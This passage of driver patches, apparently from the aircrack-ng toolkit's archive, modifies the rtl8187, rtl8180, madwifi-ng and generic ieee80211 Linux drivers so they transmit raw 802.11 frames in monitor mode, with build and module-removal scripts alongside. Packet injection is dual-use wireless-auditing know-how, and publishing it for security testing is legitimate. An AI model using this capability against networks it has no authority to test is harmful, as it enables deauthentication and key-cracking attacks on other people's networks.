#include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/ieee80211_inject.patch0000644000000000000000000000153010761053203021310 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.2-beta3/patches/old/rtl8180-0.21.patch0000644000000000000000000000570110761053203020155 0ustar rootrootOnly in .: .r8180_core.o.d diff -ur ../rtl8180-0.21/ieee80211_tx.c ./ieee80211_tx.c --- ../rtl8180-0.21/ieee80211_tx.c 2005-04-12 21:02:17.000000000 +0000 +++ ./ieee80211_tx.c 2005-10-12 17:38:19.000000000 +0000 @@ -577,6 +577,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -ur ../rtl8180-0.21/r8180_core.c ./r8180_core.c --- ../rtl8180-0.21/r8180_core.c 2005-04-12 12:39:56.000000000 +0000 +++ ./r8180_core.c 2005-10-12 17:42:25.000000000 +0000 @@ -2204,11 +2204,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2221,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -3411,10 +3412,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3617,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3637,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1520.patch0000644000000000000000000000165510761053203021252 0ustar rootrootdiff -ur madwifi-ng-r1520/ath/if_ath.c patched_madwifi-ng-r1520/ath/if_ath.c --- madwifi-ng-r1520/ath/if_ath.c 2006-04-21 18:58:34.000000000 +0200 +++ patched_madwifi-ng-r1520/ath/if_ath.c 2006-04-22 15:34:58.000000000 +0200 @@ -2247,6 +2247,7 @@ { struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; + struct ieee80211com *ic = &sc->sc_ic; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; int pktlen; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.22.patch0000644000000000000000000126774210761053203020435 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-07-13 01:46:27.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-07-13 01:46:27.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct 